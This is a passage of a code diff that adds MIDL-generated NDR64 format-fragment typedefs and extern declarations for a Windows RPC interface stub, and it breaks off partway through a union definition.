+typedef +struct +{ + NDR64_FORMAT_UINT32 frag1; + struct _NDR64_EXPR_VAR frag2; +} +__midl_frag1283_t; +extern const __midl_frag1283_t __midl_frag1283; + +typedef +struct +{ + struct _NDR64_CONF_ARRAY_HEADER_FORMAT frag1; + struct _NDR64_ARRAY_ELEMENT_INFO frag2; +} +__midl_frag1282_t; +extern const __midl_frag1282_t __midl_frag1282; + +typedef +struct +{ + NDR64_FORMAT_UINT32 frag1; + struct _NDR64_EXPR_VAR frag2; +} +__midl_frag1279_t; +extern const __midl_frag1279_t __midl_frag1279; + +typedef +struct +{ + struct _NDR64_CONF_ARRAY_HEADER_FORMAT frag1; + struct + { + struct _NDR64_REPEAT_FORMAT frag1; + struct + { + struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT frag1; + struct _NDR64_POINTER_FORMAT frag2; + struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT frag3; + struct _NDR64_POINTER_FORMAT frag4; + struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT frag5; + struct _NDR64_POINTER_FORMAT frag6; + } frag2; + NDR64_FORMAT_CHAR frag3; + } frag2; + struct _NDR64_ARRAY_ELEMENT_INFO frag3; +} +__midl_frag1278_t; +extern const __midl_frag1278_t __midl_frag1278; + +typedef +struct _NDR64_POINTER_FORMAT +__midl_frag1277_t; +extern const __midl_frag1277_t __midl_frag1277; + +typedef +struct +{ + struct _NDR64_PROC_FORMAT frag1; + struct _NDR64_PARAM_FORMAT frag2; + struct _NDR64_PARAM_FORMAT frag3; + struct _NDR64_PARAM_FORMAT frag4; + struct _NDR64_PARAM_FORMAT frag5; + struct _NDR64_PARAM_FORMAT frag6; + struct _NDR64_PARAM_FORMAT frag7; + struct _NDR64_PARAM_FORMAT frag8; + struct _NDR64_PARAM_FORMAT frag9; + struct _NDR64_PARAM_FORMAT frag10; + struct _NDR64_PARAM_FORMAT frag11; + struct _NDR64_PARAM_FORMAT frag12; +} +__midl_frag1272_t; +extern const __midl_frag1272_t __midl_frag1272; + +typedef +struct _NDR64_POINTER_FORMAT +__midl_frag1268_t; +extern const __midl_frag1268_t __midl_frag1268; + +typedef +struct +{ + struct _NDR64_PROC_FORMAT frag1; + struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2; + struct _NDR64_PARAM_FORMAT frag3; + struct _NDR64_PARAM_FORMAT frag4; + struct _NDR64_PARAM_FORMAT frag5; +} +__midl_frag1267_t; +extern const __midl_frag1267_t __midl_frag1267; + +typedef +struct +{ + struct _NDR64_POINTER_FORMAT frag1; + struct _NDR64_POINTER_FORMAT frag2; +} +__midl_frag1263_t; +extern const __midl_frag1263_t __midl_frag1263; + +typedef +struct +{ + NDR64_FORMAT_UINT32 frag1; + struct _NDR64_EXPR_VAR frag2; +} +__midl_frag1261_t; +extern const __midl_frag1261_t __midl_frag1261; + +typedef +struct +{ + struct _NDR64_CONF_ARRAY_HEADER_FORMAT frag1; + struct _NDR64_ARRAY_ELEMENT_INFO frag2; +} +__midl_frag1260_t; +extern const __midl_frag1260_t __midl_frag1260; + +typedef +struct _NDR64_POINTER_FORMAT +__midl_frag1259_t; +extern const __midl_frag1259_t __midl_frag1259; + +typedef +struct +{ + struct _NDR64_STRUCTURE_HEADER_FORMAT frag1; + struct + { + struct _NDR64_NO_REPEAT_FORMAT frag1; + struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT frag2; + struct _NDR64_POINTER_FORMAT frag3; + struct _NDR64_NO_REPEAT_FORMAT frag4; + struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT frag5; + struct _NDR64_POINTER_FORMAT frag6; + NDR64_FORMAT_CHAR frag7; + } frag2; +} +__midl_frag1256_t; +extern const __midl_frag1256_t __midl_frag1256; + +typedef +struct +{ + NDR64_FORMAT_UINT32 frag1; + struct _NDR64_EXPR_VAR frag2; +} +__midl_frag1255_t; +extern const __midl_frag1255_t __midl_frag1255; + +typedef +struct +{ + struct _NDR64_CONF_ARRAY_HEADER_FORMAT frag1; + struct + { + struct _NDR64_REPEAT_FORMAT frag1; + struct + { + struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT frag1; + struct _NDR64_POINTER_FORMAT frag2; + } frag2; + NDR64_FORMAT_CHAR frag3; + } frag2; + struct _NDR64_ARRAY_ELEMENT_INFO frag3; +} +__midl_frag1254_t; +extern const __midl_frag1254_t __midl_frag1254; + +typedef +struct +{ + struct _NDR64_BOGUS_STRUCTURE_HEADER_FORMAT frag1; + struct + { + struct _NDR64_SIMPLE_MEMBER_FORMAT frag1; + struct _NDR64_MEMPAD_FORMAT frag2; + struct _NDR64_SIMPLE_MEMBER_FORMAT frag3; + struct _NDR64_SIMPLE_MEMBER_FORMAT frag4; + struct _NDR64_MEMPAD_FORMAT frag5; + struct _NDR64_SIMPLE_MEMBER_FORMAT frag6; + struct _NDR64_SIMPLE_MEMBER_FORMAT frag7; + struct _NDR64_SIMPLE_MEMBER_FORMAT frag8; + struct _NDR64_MEMPAD_FORMAT frag9; + struct _NDR64_BUFFER_ALIGN_FORMAT frag10; + struct _NDR64_SIMPLE_MEMBER_FORMAT frag11; + } frag2; +} +__midl_frag1253_t; +extern const __midl_frag1253_t __midl_frag1253; + +typedef +struct _NDR64_POINTER_FORMAT +__midl_frag1252_t; +extern const __midl_frag1252_t __midl_frag1252; + +typedef +struct _NDR64_POINTER_FORMAT +__midl_frag1251_t; +extern const __midl_frag1251_t __midl_frag1251; + +typedef +struct +{ + struct _NDR64_PROC_FORMAT frag1; + struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2; + struct _NDR64_PARAM_FORMAT frag3; + struct _NDR64_PARAM_FORMAT frag4; + struct _NDR64_PARAM_FORMAT frag5; +} +__midl_frag1250_t; +extern const __midl_frag1250_t __midl_frag1250; + +typedef +struct _NDR64_POINTER_FORMAT +__midl_frag1244_t; +extern const __midl_frag1244_t __midl_frag1244; + +typedef +struct +{ + struct _NDR64_PROC_FORMAT frag1; + struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2; + struct _NDR64_PARAM_FORMAT frag3; + struct _NDR64_PARAM_FORMAT frag4; + struct _NDR64_PARAM_FORMAT frag5; + struct _NDR64_PARAM_FORMAT frag6; + struct _NDR64_PARAM_FORMAT frag7; +} +__midl_frag1242_t; +extern const __midl_frag1242_t __midl_frag1242; + +typedef +struct +{ + struct _NDR64_PROC_FORMAT frag1; + struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2; + struct _NDR64_PARAM_FORMAT frag3; + struct _NDR64_PARAM_FORMAT frag4; +} +__midl_frag1238_t; +extern const __midl_frag1238_t __midl_frag1238; + +typedef +struct +{ + struct _NDR64_PROC_FORMAT frag1; + struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2; + struct _NDR64_PARAM_FORMAT frag3; + struct _NDR64_PARAM_FORMAT frag4; + struct _NDR64_PARAM_FORMAT frag5; + struct _NDR64_PARAM_FORMAT frag6; +} +__midl_frag1227_t; +extern const __midl_frag1227_t __midl_frag1227; + +typedef +struct +{ + struct _NDR64_PROC_FORMAT frag1; + struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2; + struct _NDR64_PARAM_FORMAT frag3; + struct _NDR64_PARAM_FORMAT frag4; + struct _NDR64_PARAM_FORMAT frag5; +} +__midl_frag1221_t; +extern const __midl_frag1221_t __midl_frag1221; + +typedef +struct _NDR64_POINTER_FORMAT +__midl_frag1217_t; +extern const __midl_frag1217_t __midl_frag1217; + +typedef +struct +{ + NDR64_FORMAT_UINT32 frag1; + struct _NDR64_EXPR_VAR frag2; +} +__midl_frag1216_t; +extern const __midl_frag1216_t __midl_frag1216; + +typedef +struct +{ + struct _NDR64_CONF_ARRAY_HEADER_FORMAT frag1; + struct + { + struct _NDR64_REPEAT_FORMAT frag1; + struct + { + struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT frag1; + struct _NDR64_POINTER_FORMAT frag2; + } frag2; + NDR64_FORMAT_CHAR frag3; + } frag2; + struct _NDR64_ARRAY_ELEMENT_INFO frag3; +} +__midl_frag1215_t; +extern const __midl_frag1215_t __midl_frag1215; + +typedef +struct _NDR64_POINTER_FORMAT +__midl_frag1214_t; +extern const __midl_frag1214_t __midl_frag1214; + +typedef +struct +{ + struct _NDR64_PROC_FORMAT frag1; + struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2; + struct _NDR64_PARAM_FORMAT frag3; + struct _NDR64_PARAM_FORMAT frag4; + struct _NDR64_PARAM_FORMAT frag5; + struct _NDR64_PARAM_FORMAT frag6; +} +__midl_frag1212_t; +extern const __midl_frag1212_t __midl_frag1212; + +typedef +struct +{ + struct _NDR64_STRUCTURE_HEADER_FORMAT frag1; + struct + { + struct _NDR64_NO_REPEAT_FORMAT frag1; + struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT frag2; + struct _NDR64_POINTER_FORMAT frag3; + struct _NDR64_NO_REPEAT_FORMAT frag4; + struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT frag5; + struct _NDR64_POINTER_FORMAT frag6; + NDR64_FORMAT_CHAR frag7; + } frag2; +} +__midl_frag1205_t; +extern const __midl_frag1205_t __midl_frag1205; + +typedef +struct +{ + struct _NDR64_CONF_ARRAY_HEADER_FORMAT frag1; + struct + { + struct _NDR64_REPEAT_FORMAT frag1; + struct + { + struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT frag1; + struct _NDR64_POINTER_FORMAT frag2; + } frag2; + NDR64_FORMAT_CHAR frag3; + } frag2; + struct _NDR64_ARRAY_ELEMENT_INFO frag3; +} +__midl_frag1203_t; +extern const __midl_frag1203_t __midl_frag1203; + +typedef +struct _NDR64_POINTER_FORMAT +__midl_frag1202_t; +extern const __midl_frag1202_t __midl_frag1202; + +typedef +struct _NDR64_POINTER_FORMAT +__midl_frag1201_t; +extern const __midl_frag1201_t __midl_frag1201; + +typedef +struct +{ + struct _NDR64_PROC_FORMAT frag1; + struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2; + struct _NDR64_PARAM_FORMAT frag3; + struct _NDR64_PARAM_FORMAT frag4; + struct _NDR64_PARAM_FORMAT frag5; + struct _NDR64_PARAM_FORMAT frag6; +} +__midl_frag1198_t; +extern const __midl_frag1198_t __midl_frag1198; + +typedef +struct +{ + struct _NDR64_POINTER_FORMAT frag1; + struct _NDR64_POINTER_FORMAT frag2; + struct _NDR64_POINTER_FORMAT frag3; + struct _NDR64_POINTER_FORMAT frag4; + struct _NDR64_POINTER_FORMAT frag5; +} +__midl_frag1194_t; +extern const __midl_frag1194_t __midl_frag1194; + +typedef +struct +{ + struct _NDR64_BOGUS_STRUCTURE_HEADER_FORMAT frag1; + struct + { + struct _NDR64_SIMPLE_MEMBER_FORMAT frag1; + struct _NDR64_SIMPLE_MEMBER_FORMAT frag2; + struct _NDR64_MEMPAD_FORMAT frag3; + struct _NDR64_SIMPLE_MEMBER_FORMAT frag4; + struct _NDR64_SIMPLE_MEMBER_FORMAT frag5; + struct _NDR64_MEMPAD_FORMAT frag6; + struct _NDR64_SIMPLE_MEMBER_FORMAT frag7; + struct _NDR64_SIMPLE_MEMBER_FORMAT frag8; + struct _NDR64_SIMPLE_MEMBER_FORMAT frag9; + struct _NDR64_SIMPLE_MEMBER_FORMAT frag10; + } frag2; +} +__midl_frag1188_t; +extern const __midl_frag1188_t __midl_frag1188; + +typedef +struct _NDR64_POINTER_FORMAT +__midl_frag1187_t; +extern const __midl_frag1187_t __midl_frag1187; + +typedef +struct +{ + struct _NDR64_PROC_FORMAT frag1; + struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2; + struct _NDR64_PARAM_FORMAT frag3; + struct _NDR64_PARAM_FORMAT frag4; + struct _NDR64_PARAM_FORMAT frag5; +} +__midl_frag1186_t; +extern const __midl_frag1186_t __midl_frag1186; + +typedef +struct +{ + NDR64_FORMAT_UINT32 frag1; + struct _NDR64_EXPR_OPERATOR frag2; + struct _NDR64_EXPR_VAR frag3; +} +__midl_frag1181_t; +extern const __midl_frag1181_t __midl_frag1181; + +typedef +struct +{ + struct _NDR64_CONF_ARRAY_HEADER_FORMAT frag1; + struct _NDR64_ARRAY_ELEMENT_INFO frag2; +} +__midl_frag1180_t; +extern const __midl_frag1180_t __midl_frag1180; + +typedef +struct _NDR64_POINTER_FORMAT +__midl_frag1179_t; +extern const __midl_frag1179_t __midl_frag1179; + +typedef +struct _NDR64_POINTER_FORMAT +__midl_frag1178_t; +extern const __midl_frag1178_t __midl_frag1178; + +typedef +struct +{ + struct _NDR64_PROC_FORMAT frag1; + struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2; + struct _NDR64_PARAM_FORMAT frag3; + struct _NDR64_PARAM_FORMAT frag4; + struct _NDR64_PARAM_FORMAT frag5; + struct _NDR64_PARAM_FORMAT frag6; + struct _NDR64_PARAM_FORMAT frag7; +} +__midl_frag1173_t; +extern const __midl_frag1173_t __midl_frag1173; + +typedef +struct +{ + struct _NDR64_POINTER_FORMAT frag1; + struct _NDR64_POINTER_FORMAT frag2; + struct _NDR64_POINTER_FORMAT frag3; + struct _NDR64_POINTER_FORMAT frag4; +} +__midl_frag1169_t; +extern const __midl_frag1169_t __midl_frag1169; + +typedef +struct +{ + struct _NDR64_BOGUS_STRUCTURE_HEADER_FORMAT frag1; + struct + { + struct _NDR64_SIMPLE_MEMBER_FORMAT frag1; + struct _NDR64_SIMPLE_MEMBER_FORMAT frag2; + struct _NDR64_SIMPLE_MEMBER_FORMAT frag3; + struct _NDR64_MEMPAD_FORMAT frag4; + struct _NDR64_SIMPLE_MEMBER_FORMAT frag5; + struct _NDR64_SIMPLE_MEMBER_FORMAT frag6; + struct _NDR64_SIMPLE_MEMBER_FORMAT frag7; + struct _NDR64_SIMPLE_MEMBER_FORMAT frag8; + } frag2; +} +__midl_frag1164_t; +extern const __midl_frag1164_t __midl_frag1164; + +typedef +struct _NDR64_POINTER_FORMAT +__midl_frag1163_t; +extern const __midl_frag1163_t __midl_frag1163; + +typedef +struct _NDR64_POINTER_FORMAT +__midl_frag1162_t; +extern const __midl_frag1162_t __midl_frag1162; + +typedef +struct +{ + struct _NDR64_PROC_FORMAT frag1; + struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2; + struct _NDR64_PARAM_FORMAT frag3; + struct _NDR64_PARAM_FORMAT frag4; + struct _NDR64_PARAM_FORMAT frag5; + struct _NDR64_PARAM_FORMAT frag6; +} +__midl_frag1160_t; +extern const __midl_frag1160_t __midl_frag1160; + +typedef +struct _NDR64_CONTEXT_HANDLE_FORMAT +__midl_frag1156_t; +extern const __midl_frag1156_t __midl_frag1156; + +typedef +struct _NDR64_POINTER_FORMAT +__midl_frag1155_t; +extern const __midl_frag1155_t __midl_frag1155; + +typedef +struct +{ + struct _NDR64_PROC_FORMAT frag1; + struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2; + struct _NDR64_PARAM_FORMAT frag3; + struct _NDR64_PARAM_FORMAT frag4; + struct _NDR64_PARAM_FORMAT frag5; +} +__midl_frag1154_t; +extern const __midl_frag1154_t __midl_frag1154; + +typedef +struct _NDR64_CONTEXT_HANDLE_FORMAT +__midl_frag1142_t; +extern const __midl_frag1142_t __midl_frag1142; + +typedef +struct _NDR64_POINTER_FORMAT +__midl_frag1141_t; +extern const __midl_frag1141_t __midl_frag1141; + +typedef +struct _NDR64_CONTEXT_HANDLE_FORMAT +__midl_frag1140_t; +extern const __midl_frag1140_t __midl_frag1140; + +typedef +struct +{ + struct _NDR64_PROC_FORMAT frag1; + struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2; + struct _NDR64_PARAM_FORMAT frag3; + struct _NDR64_PARAM_FORMAT frag4; + struct _NDR64_PARAM_FORMAT frag5; + struct _NDR64_PARAM_FORMAT frag6; + struct _NDR64_PARAM_FORMAT frag7; +} +__midl_frag1139_t; +extern const __midl_frag1139_t __midl_frag1139; + +typedef +struct +{ + struct _NDR64_PROC_FORMAT frag1; + struct _NDR64_PARAM_FORMAT frag2; + struct _NDR64_PARAM_FORMAT frag3; + struct _NDR64_PARAM_FORMAT frag4; + struct _NDR64_PARAM_FORMAT frag5; + struct _NDR64_PARAM_FORMAT frag6; + struct _NDR64_PARAM_FORMAT frag7; +} +__midl_frag1130_t; +extern const __midl_frag1130_t __midl_frag1130; + +typedef +struct +{ + struct _NDR64_PROC_FORMAT frag1; + struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2; + struct _NDR64_PARAM_FORMAT frag3; + struct _NDR64_PARAM_FORMAT frag4; + struct _NDR64_PARAM_FORMAT frag5; + struct _NDR64_PARAM_FORMAT frag6; +} +__midl_frag1122_t; +extern const __midl_frag1122_t __midl_frag1122; + +typedef +struct +{ + struct _NDR64_PROC_FORMAT frag1; + struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2; + struct _NDR64_PARAM_FORMAT frag3; + struct _NDR64_PARAM_FORMAT frag4; + struct _NDR64_PARAM_FORMAT frag5; + struct _NDR64_PARAM_FORMAT frag6; + struct _NDR64_PARAM_FORMAT frag7; +} +__midl_frag1112_t; +extern const __midl_frag1112_t __midl_frag1112; + +typedef +struct _NDR64_POINTER_FORMAT +__midl_frag1100_t; +extern const __midl_frag1100_t __midl_frag1100; + +typedef +struct +{ + struct _NDR64_CONF_ARRAY_HEADER_FORMAT frag1; + struct + { + struct _NDR64_REPEAT_FORMAT frag1; + struct + { + struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT frag1; + struct _NDR64_POINTER_FORMAT frag2; + } frag2; + NDR64_FORMAT_CHAR frag3; + } frag2; + struct _NDR64_ARRAY_ELEMENT_INFO frag3; +} +__midl_frag1098_t; +extern const __midl_frag1098_t __midl_frag1098; + +typedef +struct _NDR64_POINTER_FORMAT +__midl_frag1097_t; +extern const __midl_frag1097_t __midl_frag1097; + +typedef +struct _NDR64_POINTER_FORMAT +__midl_frag1096_t; +extern const __midl_frag1096_t __midl_frag1096; + +typedef +struct +{ + struct _NDR64_PROC_FORMAT frag1; + struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2; + struct _NDR64_PARAM_FORMAT frag3; + struct _NDR64_PARAM_FORMAT frag4; + struct _NDR64_PARAM_FORMAT frag5; + struct _NDR64_PARAM_FORMAT frag6; +} +__midl_frag1093_t; +extern const __midl_frag1093_t __midl_frag1093; + +typedef +struct +{ + NDR64_FORMAT_UINT32 frag1; + struct _NDR64_EXPR_VAR frag2; +} +__midl_frag1088_t; +extern const __midl_frag1088_t __midl_frag1088; + +typedef +struct +{ + struct _NDR64_CONF_ARRAY_HEADER_FORMAT frag1; + struct _NDR64_ARRAY_ELEMENT_INFO frag2; +} +__midl_frag1087_t; +extern const __midl_frag1087_t __midl_frag1087; + +typedef +struct _NDR64_POINTER_FORMAT +__midl_frag1086_t; +extern const __midl_frag1086_t __midl_frag1086; + +typedef +struct +{ + struct _NDR64_PROC_FORMAT frag1; + struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2; + struct _NDR64_PARAM_FORMAT frag3; + struct _NDR64_PARAM_FORMAT frag4; + struct _NDR64_PARAM_FORMAT frag5; + struct _NDR64_PARAM_FORMAT frag6; + struct _NDR64_PARAM_FORMAT frag7; +} +__midl_frag1082_t; +extern const __midl_frag1082_t __midl_frag1082; + +typedef +struct _NDR64_POINTER_FORMAT +__midl_frag1078_t; +extern const __midl_frag1078_t __midl_frag1078; + +typedef +struct _NDR64_POINTER_FORMAT +__midl_frag1077_t; +extern const __midl_frag1077_t __midl_frag1077; + +typedef +struct +{ + struct _NDR64_PROC_FORMAT frag1; + struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2; + struct _NDR64_PARAM_FORMAT frag3; + struct _NDR64_PARAM_FORMAT frag4; + struct _NDR64_PARAM_FORMAT frag5; +} +__midl_frag1076_t; +extern const __midl_frag1076_t __midl_frag1076; + +typedef +struct +{ + struct _NDR64_PROC_FORMAT frag1; + struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2; + struct _NDR64_PARAM_FORMAT frag3; + struct _NDR64_PARAM_FORMAT frag4; + struct _NDR64_PARAM_FORMAT frag5; + struct _NDR64_PARAM_FORMAT frag6; + struct _NDR64_PARAM_FORMAT frag7; + struct _NDR64_PARAM_FORMAT frag8; +} +__midl_frag1065_t; +extern const __midl_frag1065_t __midl_frag1065; + +typedef +struct +{ + struct _NDR64_PROC_FORMAT frag1; + struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2; + struct _NDR64_PARAM_FORMAT frag3; + struct _NDR64_PARAM_FORMAT frag4; +} +__midl_frag1061_t; +extern const __midl_frag1061_t __midl_frag1061; + +typedef +struct +{ + struct _NDR64_PROC_FORMAT frag1; + struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2; + struct _NDR64_PARAM_FORMAT frag3; + struct _NDR64_PARAM_FORMAT frag4; + struct _NDR64_PARAM_FORMAT frag5; +} +__midl_frag1055_t; +extern const __midl_frag1055_t __midl_frag1055; + +typedef +struct +{ + struct _NDR64_BOGUS_STRUCTURE_HEADER_FORMAT frag1; + struct + { + struct _NDR64_SIMPLE_MEMBER_FORMAT frag1; + struct _NDR64_MEMPAD_FORMAT frag2; + struct _NDR64_BUFFER_ALIGN_FORMAT frag3; + struct _NDR64_SIMPLE_MEMBER_FORMAT frag4; + struct _NDR64_SIMPLE_MEMBER_FORMAT frag5; + struct _NDR64_SIMPLE_MEMBER_FORMAT frag6; + struct _NDR64_SIMPLE_MEMBER_FORMAT frag7; + } frag2; +} +__midl_frag1051_t; +extern const __midl_frag1051_t __midl_frag1051; + +typedef +struct _NDR64_POINTER_FORMAT +__midl_frag1050_t; +extern const __midl_frag1050_t __midl_frag1050; + +typedef +struct +{ + struct _NDR64_PROC_FORMAT frag1; + struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2; + struct _NDR64_PARAM_FORMAT frag3; + struct _NDR64_PARAM_FORMAT frag4; + struct _NDR64_PARAM_FORMAT frag5; +} +__midl_frag1049_t; +extern const __midl_frag1049_t __midl_frag1049; + +typedef +struct +{ + struct _NDR64_PROC_FORMAT frag1; + struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2; + struct _NDR64_PARAM_FORMAT frag3; + struct _NDR64_PARAM_FORMAT frag4; + struct _NDR64_PARAM_FORMAT frag5; +} +__midl_frag1040_t; +extern const __midl_frag1040_t __midl_frag1040; + +typedef +struct _NDR64_POINTER_FORMAT +__midl_frag1035_t; +extern const __midl_frag1035_t __midl_frag1035; + +typedef +struct +{ + struct _NDR64_PROC_FORMAT frag1; + struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2; + struct _NDR64_PARAM_FORMAT frag3; + struct _NDR64_PARAM_FORMAT frag4; + struct _NDR64_PARAM_FORMAT frag5; + struct _NDR64_PARAM_FORMAT frag6; + struct _NDR64_PARAM_FORMAT frag7; +} +__midl_frag1032_t; +extern const __midl_frag1032_t __midl_frag1032; + +typedef +struct +{ + struct _NDR64_POINTER_FORMAT frag1; + struct _NDR64_POINTER_FORMAT frag2; +} +__midl_frag1028_t; +extern const __midl_frag1028_t __midl_frag1028; + +typedef +struct +{ + NDR64_FORMAT_UINT32 frag1; + struct _NDR64_EXPR_VAR frag2; +} +__midl_frag1026_t; +extern const __midl_frag1026_t __midl_frag1026; + +typedef +struct +{ + struct _NDR64_CONF_ARRAY_HEADER_FORMAT frag1; + struct + { + struct _NDR64_REPEAT_FORMAT frag1; + struct + { + struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT frag1; + struct _NDR64_POINTER_FORMAT frag2; + } frag2; + NDR64_FORMAT_CHAR frag3; + } frag2; + struct _NDR64_ARRAY_ELEMENT_INFO frag3; +} +__midl_frag1025_t; +extern const __midl_frag1025_t __midl_frag1025; + +typedef +struct +{ + struct _NDR64_BOGUS_STRUCTURE_HEADER_FORMAT frag1; + struct + { + struct _NDR64_SIMPLE_MEMBER_FORMAT frag1; + struct _NDR64_SIMPLE_MEMBER_FORMAT frag2; + struct _NDR64_SIMPLE_MEMBER_FORMAT frag3; + struct _NDR64_SIMPLE_MEMBER_FORMAT frag4; + struct _NDR64_SIMPLE_MEMBER_FORMAT frag5; + struct _NDR64_SIMPLE_MEMBER_FORMAT frag6; + struct _NDR64_SIMPLE_MEMBER_FORMAT frag7; + struct _NDR64_MEMPAD_FORMAT frag8; + struct _NDR64_SIMPLE_MEMBER_FORMAT frag9; + struct _NDR64_SIMPLE_MEMBER_FORMAT frag10; + struct _NDR64_SIMPLE_MEMBER_FORMAT frag11; + struct _NDR64_SIMPLE_MEMBER_FORMAT frag12; + } frag2; +} +__midl_frag1023_t; +extern const __midl_frag1023_t __midl_frag1023; + +typedef +struct _NDR64_POINTER_FORMAT +__midl_frag1022_t; +extern const __midl_frag1022_t __midl_frag1022; + +typedef +struct _NDR64_POINTER_FORMAT +__midl_frag1021_t; +extern const __midl_frag1021_t __midl_frag1021; + +typedef +struct +{ + struct _NDR64_PROC_FORMAT frag1; + struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2; + struct _NDR64_PARAM_FORMAT frag3; + struct _NDR64_PARAM_FORMAT frag4; + struct _NDR64_PARAM_FORMAT frag5; + struct _NDR64_PARAM_FORMAT frag6; + struct _NDR64_PARAM_FORMAT frag7; +} +__midl_frag1018_t; +extern const __midl_frag1018_t __midl_frag1018; + +typedef +struct _NDR64_POINTER_FORMAT +__midl_frag1014_t; +extern const __midl_frag1014_t __midl_frag1014; + +typedef +struct +{ + struct _NDR64_PROC_FORMAT frag1; + struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2; + struct _NDR64_PARAM_FORMAT frag3; + struct _NDR64_PARAM_FORMAT frag4; + struct _NDR64_PARAM_FORMAT frag5; + struct _NDR64_PARAM_FORMAT frag6; +} +__midl_frag1012_t; +extern const __midl_frag1012_t __midl_frag1012; + +typedef +struct +{ + NDR64_FORMAT_UINT32 frag1; + struct _NDR64_EXPR_VAR frag2; +} +__midl_frag1007_t; +extern const __midl_frag1007_t __midl_frag1007; + +typedef +struct +{ + struct _NDR64_CONF_ARRAY_HEADER_FORMAT frag1; + struct _NDR64_ARRAY_ELEMENT_INFO frag2; +} +__midl_frag1006_t; +extern const __midl_frag1006_t __midl_frag1006; + +typedef +struct _NDR64_POINTER_FORMAT +__midl_frag1005_t; +extern const __midl_frag1005_t __midl_frag1005; + +typedef +struct +{ + struct _NDR64_PROC_FORMAT frag1; + struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2; + struct _NDR64_PARAM_FORMAT frag3; + struct _NDR64_PARAM_FORMAT frag4; + struct _NDR64_PARAM_FORMAT frag5; + struct _NDR64_PARAM_FORMAT frag6; +} +__midl_frag1003_t; +extern const __midl_frag1003_t __midl_frag1003; + +typedef +struct +{ + NDR64_FORMAT_UINT32 frag1; + struct _NDR64_EXPR_OPERATOR frag2; + struct _NDR64_EXPR_VAR frag3; +} +__midl_frag998_t; +extern const __midl_frag998_t __midl_frag998; + +typedef +struct +{ + struct _NDR64_CONF_ARRAY_HEADER_FORMAT frag1; + struct _NDR64_ARRAY_ELEMENT_INFO frag2; +} +__midl_frag997_t; +extern const __midl_frag997_t __midl_frag997; + +typedef +struct _NDR64_POINTER_FORMAT +__midl_frag996_t; +extern const __midl_frag996_t __midl_frag996; + +typedef +struct _NDR64_POINTER_FORMAT +__midl_frag995_t; +extern const __midl_frag995_t __midl_frag995; + +typedef +struct +{ + struct _NDR64_PROC_FORMAT frag1; + struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2; + struct _NDR64_PARAM_FORMAT frag3; + struct _NDR64_PARAM_FORMAT frag4; + struct _NDR64_PARAM_FORMAT frag5; + struct _NDR64_PARAM_FORMAT frag6; + struct _NDR64_PARAM_FORMAT frag7; + struct _NDR64_PARAM_FORMAT frag8; + struct _NDR64_PARAM_FORMAT frag9; +} +__midl_frag985_t; +extern const __midl_frag985_t __midl_frag985; + +typedef +struct +{ + struct _NDR64_PROC_FORMAT frag1; + struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2; + struct _NDR64_PARAM_FORMAT frag3; + struct _NDR64_PARAM_FORMAT frag4; + struct _NDR64_PARAM_FORMAT frag5; +} +__midl_frag980_t; +extern const __midl_frag980_t __midl_frag980; + +typedef +struct _NDR64_POINTER_FORMAT +__midl_frag976_t; +extern const __midl_frag976_t __midl_frag976; + +typedef +struct +{ + struct _NDR64_PROC_FORMAT frag1; + struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2; + struct _NDR64_PARAM_FORMAT frag3; + struct _NDR64_PARAM_FORMAT frag4; + struct _NDR64_PARAM_FORMAT frag5; +} +__midl_frag975_t; +extern const __midl_frag975_t __midl_frag975; + +typedef +struct +{ + struct _NDR64_PROC_FORMAT frag1; + struct _NDR64_BIND_AND_NOTIFY_EXTENSION frag2; + struct _NDR64_PARAM_FORMAT frag3; + struct _NDR64_PARAM_FORMAT frag4; + struct _NDR64_PARAM_FORMAT frag5; +} +__midl_frag969_t; +extern const __midl_frag969_t __midl_frag969; + +typedef +struct _NDR64_POINTER_FORMAT +__midl_frag965_t; +extern const __midl_frag965_t __midl_frag965; + +typedef +struct +{ + NDR64_FORMAT_UINT32 frag1; + struct _NDR64_EXPR_VAR frag2; +} +__midl_frag964_t; +extern const __midl_frag964_t __midl_frag964; + +typedef +struct +{ + struct _NDR64_NON_ENCAPSULATED_UNION frag1; + struct _NDR64_UNION_ARM_SELECTOR frag2; + struct _NDR64_UNION_ARM frag3; + struct _NDR64_UNION_ARM frag4; + struct _NDR64_UNION_ARM frag5; + struct _NDR64_UNION_ARM frag6; + struct _NDR64_UNION_ARM frag7; + struct _NDR64_UNION_ARM frag8; + struct _NDR64_UNION_ARM frag9; + 